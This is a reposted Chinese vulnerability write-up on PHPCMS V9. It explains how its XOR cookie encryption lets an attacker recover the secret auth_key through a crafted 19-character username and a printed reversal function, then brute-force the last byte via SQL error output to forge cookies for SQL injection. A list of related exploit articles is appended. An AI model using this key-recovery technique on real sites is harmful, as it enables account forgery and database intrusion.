PHPCMS V9爆出多个SQL注入漏洞
function sys_auth($txt, $operation = 'ENCODE', $key = '') { $key = $key ? $key : pc_base::load_config('system', 'auth_key');
$txt = $operation == 'ENCODE' ? (string)$txt : base64_decode($txt); $len = strlen($key); $code = ''; for($i=0; $i<strlen($txt); $i++){ $k = $i % $len; $code .= $txt[$i] ^ $key[$k]; } $code = $operation == 'DECODE' ? $code : base64_encode($code); return $code; } 通过于$auth_key进行^运算达到加密的目的,$auth_key是系统安装时随机生成的一个长度为20的字符串。 要伪造cookie变量需要知道$auth_key,我们看看如何来获取。 注册用户登录过程 //phpcms/modules/member/index.php public function login() { …… param::set_cookie('auth', $phpcms_auth, $cookietime); param::set_cookie('_userid', $userid, $cookietime); param::set_cookie('_username', $username, $cookietime); param::set_cookie('_groupid', $groupid, $cookietime); param::set_cookie('_nickname', $nickname, $cookietime); param::set_cookie('cookietime', $_cookietime, $cookietime); ……
//phpcms/libs/classes/param.class.php public static function set_cookie($var, $value = '', $time = 0) { $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0); $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0; $var = pc_base::load_config('system','cookie_pre').$var; $_COOKIE[$var] = $value; if (is_array($value)) { foreach($value as $k=>$v) { setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s); } } else { setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s); } }
明显可以看出,登陆的时候 $username通过sys_auth函数处理后赋值到了cookie。 好了,下面去注册一个用户名长度为19字符的(最长为20,但是需要有一个\0,所以实际上只能是19)用户。 登陆系统后获取cookie里面对应的值,就可以逆向推算出$auth_key的前19位。 逆推函数如下 function antisys_auth() { $txt = base64_decode(urldecode("你cookie里面的值")); $name = "你的用户名"; $len = 20; $key = ''; for($i=0; $i<strlen($txt); $i++){ $k = $i % $len; $key .= $txt[$i] ^ $name[$k]; } return $key; }
$auth_key剩下的最后一位如何获取? 这个就很简单了,找到任意一个使用get_cookie()获取变量然后进入sql流程的地方, 利用phpcms的sql错误机制,可以很容易的判断暴力破解出最后一位。 public function halt($message = '', $sql = '') { $this->errormsg = "<b>MySQL Query : </b> $sql <br /><b> MySQL Error : </b>".$this->error()." <br /> <b>MySQL Errno : </b>".$this->errno()." <br /><b> Message : </b> $message <br /><a href='http://xxxx/?errno=".$this->errno()."&msg=".urlencode($this->error())."' target='_blank' style='color:red'>Need Help?</a>"; $msg = $this->errormsg; echo '<div style="font-size:12px;text-align:left; border:1px solid #9cc9e0; padding:1px 4px;color:#000000;font-family:Arial, Helvetica,sans-serif;"><span>'.$msg.'</span></div>'; exit; }
转载于:https://www.cnblogs.com/mrjim/archive/2011/09/13/4475268.html
PHPCMS V9爆出多个SQL注入漏洞相关推荐
- php cms 代码注入,PHPCMS全版本通杀SQL注入漏洞
漏洞分析 首先看下面的代码 /phpcms/modules/member/content.php 202行 edit函数 [php] public function edit() { $_userna ...
- 【漏洞复现】泛微OA E-Cology V9 browser.jsp SQL注入漏洞复现及利用(CNVD-2023-12632)
文章目录 前言 声明 一.产品介绍 二.漏洞描述 三.影响范围 四.漏洞分析 五.漏洞复现 六.SQLMAP漏洞利用 七.修复方案 前言 泛微E-Cology v9 Browser.jsp 存在SQL ...
- phpcms set inc.php,phpcms V9 sql注入漏洞测试
phpcms V9 版本存在SQL注入漏洞,漏洞复现如下 0x00 以GET方式访问如下链接,得到返回包里mvbpqw_siteid值: http://127.0.0.1/index.php?m=wa ...
- 漏洞复现 泛微OA E-Cology V9 browser.jsp SQL注入漏洞
漏洞复现 泛微OA E-Cology V9 browser.jsp SQL注入漏洞 漏洞描述 泛微新一代移动办公平台e-cology不仅组织提供了一体化的协同工作平台,将组织事务逐渐实现全程电子化,改 ...
- ref:ThinkPHP Builder.php SQL注入漏洞(= 3.2.3)
ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3) ref:https://www.jianshu.com/p/18d06277161e TimeSHU 2018.04 ...
- Drupal < 7.32 “Drupalgeddon” SQL注入漏洞(CVE-2014-3704)漏洞复现
Drupal < 7.32 "Drupalgeddon" SQL注入漏洞 by ADummy 0x00利用路线 Burpsuite抓包改包->信息被爆出 0x01漏 ...
- 从一个Laravel SQL注入漏洞开始的Bug Bounty之旅
事先声明:本次测试过程完全处于本地或授权环境,仅供学习与参考,不存在未授权测试过程.本文提到的漏洞<Cachet SQL注入漏洞(CVE-2021-39165)>已经修复,也请读者勿使用该 ...
- Laravel 存在SQL注入漏洞
Laravel 存在SQL注入漏洞 漏洞描述: 该漏洞存在于Laravel的表单验证功能,漏洞函数为ignore(),漏洞文件位于/vendor/laravel/ramework/src/Illumi ...
- 对搜狐 网易和TOM三大门户网站的SQL注入漏洞检测
分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow 也欢迎大家转载本篇文章.分享知识,造福人民,实现我们中华民族伟大复兴! 对搜狐. ...
最新文章
- 5G 信令流程 — 5GC 的会话管理(SM,Session Management)
- SPICE:过程改进的又一种选择
- Netty之Channel的继承关系
- python 操作系统学习_操作系统学习
- win32获取当前运行程序的内存地址_一个lock锁,就可以分出程序员对问题处置方式水平的高中低...
- linux buffer/cache手动释放
- 公司周刊-非常6+1—营销平台小组
- 串口通信程序中十六进制格式发送和接收实现
- java实战项目案例-附带视频教学
- android控制灯编程,远程控制智能灯(android)
- FreeImage使用
- 面向图形可扩展矢量图形规范:SVG
- 【渝粤题库】广东开放大学 招投标与合同管理 形成性考核
- MapReduce模型、大数据与数据挖掘、云计算的关系
- TCP/IP重传超时--RTO - SRTT (Smoothed Round Trip Time)
- Oracle 11g中文繁体特殊乱码问题解决
- freeCAD学习笔记二:复制与放置多个相似的实体
- 论文笔记High-Resolution Image Synthesis with Latent Diffusion Models
- 路由控制——ACL、IP-Prefix List
- 【Matlab代码】显示多幅图像